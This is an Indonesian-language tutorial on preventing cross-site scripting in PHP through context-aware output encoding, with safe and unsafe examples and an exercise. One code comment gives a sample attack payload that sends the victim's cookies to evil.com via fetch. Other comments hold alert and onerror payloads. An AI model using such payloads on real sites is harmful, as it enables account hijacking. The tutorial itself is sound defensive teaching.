Mencegah XSS
Pahami serangan Cross-Site Scripting dan cara menutupnya dengan output encoding.
Analogi: Surat Kaleng Beracun
Website-mu seperti papan pengumuman: pengunjung boleh menempel catatan. XSS (Cross-Site Scripting) terjadi saat penyerang menempel "catatan" berisi <script> jahat, dan browser pengunjung lain menjalankannya karena mengira itu bagian websitemu. Script itu bisa mencuri cookie, mengubah tampilan, atau mengendalikan akun korban.
Ada tiga jenis: stored (script tersimpan di database/komentar, menyerang semua pengunjung), reflected (script di URL, menyerang yang mengklik link), DOM-based (diolah JavaScript). Semuanya berakar sama: data user ditampilkan tanpa encoding.
<?php
// Contoh 1: serangan dan pertahanan
// Penyerang mengisi komentar: <script>fetch("https://evil.com?c="+document.cookie)</script>
// SALAH: tampil langsung
echo $komentar; // script JALAN di browser korban!
// BENAR: encode saat OUTPUT
echo htmlspecialchars($komentar, ENT_QUOTES, "UTF-8");
// Menjadi teks biasa: <script>... tidak dijalankan browserAturan emas: encode saat menampilkan, bukan saat menyimpan. Simpan data asli di database (agar bisa dipakai untuk banyak format: HTML, JSON, PDF), encode sesuai konteks saat output. htmlspecialchars mengubah <>&"' menjadi entitas aman.
<?php
// Contoh 2: konteks berbeda, encoding berbeda
$userInput = '"><script>alert(1)</script>';
// Konteks 1: isi HTML
echo "<p>" . htmlspecialchars($userInput, ENT_QUOTES, "UTF-8") . "</p>";
// Konteks 2: di dalam atribut HTML (butuh ENT_QUOTES untuk kutip!)
echo '<input value="' . htmlspecialchars($userInput, ENT_QUOTES, "UTF-8") . '">';
// Konteks 3: di dalam JavaScript (json_encode, bukan htmlspecialchars!)
echo "<script>var nama = " . json_encode($userInput) . ";</script>";
// Konteks 4: di dalam URL
echo '<a href="/cari?q=' . urlencode($userInput) . '">cari</a>';Kesalahan klasik: memakai htmlspecialchars di dalam <script>. </script><script> tetap bisa lolos karena konteksnya JavaScript, bukan HTML. Tiap konteks punya encoder-nya: HTML -> htmlspecialchars, JS -> json_encode, URL -> urlencode.
Jebakan yang Sering Terjadi
strip_tags sebagai pertahanan utama. strip_tags($input) terlihat cukup, tapi penyerang punya banyak jalan: <img src=x onerror=...> atau event handler tanpa tag script. strip_tags hanya untuk membersihkan format, bukan pertahanan XSS. Pertahanan sebenarnya selalu output encoding.
Lupa charset di htmlspecialchars. Tanpa parameter "UTF-8", encoding memakai default yang bisa berbeda antar server dan membuka celah charset-based XSS. Selalu tulis lengkap: htmlspecialchars($x, ENT_QUOTES, "UTF-8"). Atau set sekali via ini_set("default_charset", "UTF-8").
Audit Cepat: Cari echo Telanjang
Cara tercepat menemukan lubang XSS di project: cari semua echo yang menampilkan data luar tanpa encoding.
<?php
// Pola berbahaya yang sering ditemukan saat audit:
echo $_GET["nama"]; // BAHAYA
echo "<p>" . $komentar . "</p>"; // BAHAYA jika $komentar dari user
echo $row["judul"]; // BAHAYA jika dari database (input user!)
// Pola aman:
echo htmlspecialchars($_GET["nama"] ?? "", ENT_QUOTES, "UTF-8");
echo "<p>" . htmlspecialchars($komentar, ENT_QUOTES, "UTF-8") . "</p>";Ingat: data dari database tetap "data luar" karena awalnya diketik user. Satu-satunya data yang aman tanpa encoding adalah yang ditulis programmer sendiri (label, teks statis). Saat ragu, encode saja: double-encoding pada teks polos tidak merusak tampilan.
Catatan teknis: Header
Content-Security-Policy: script-src 'self'adalah jaring pengaman tambahan: kalaupun XSS lolos, browser menolak menjalankan script dari domain asing. Pasang di production sebagai defense in depth, tapi jangan jadikan pengganti encoding.
Tantangan
Perbaiki daftar komentar
Diberi loop yang rentan: foreach ($komentar as $k) { echo "<p>$k</p>"; }. Perbaiki agar aman dari stored XSS dengan output encoding yang benar, termasuk untuk nama penulis di dalam atribut title.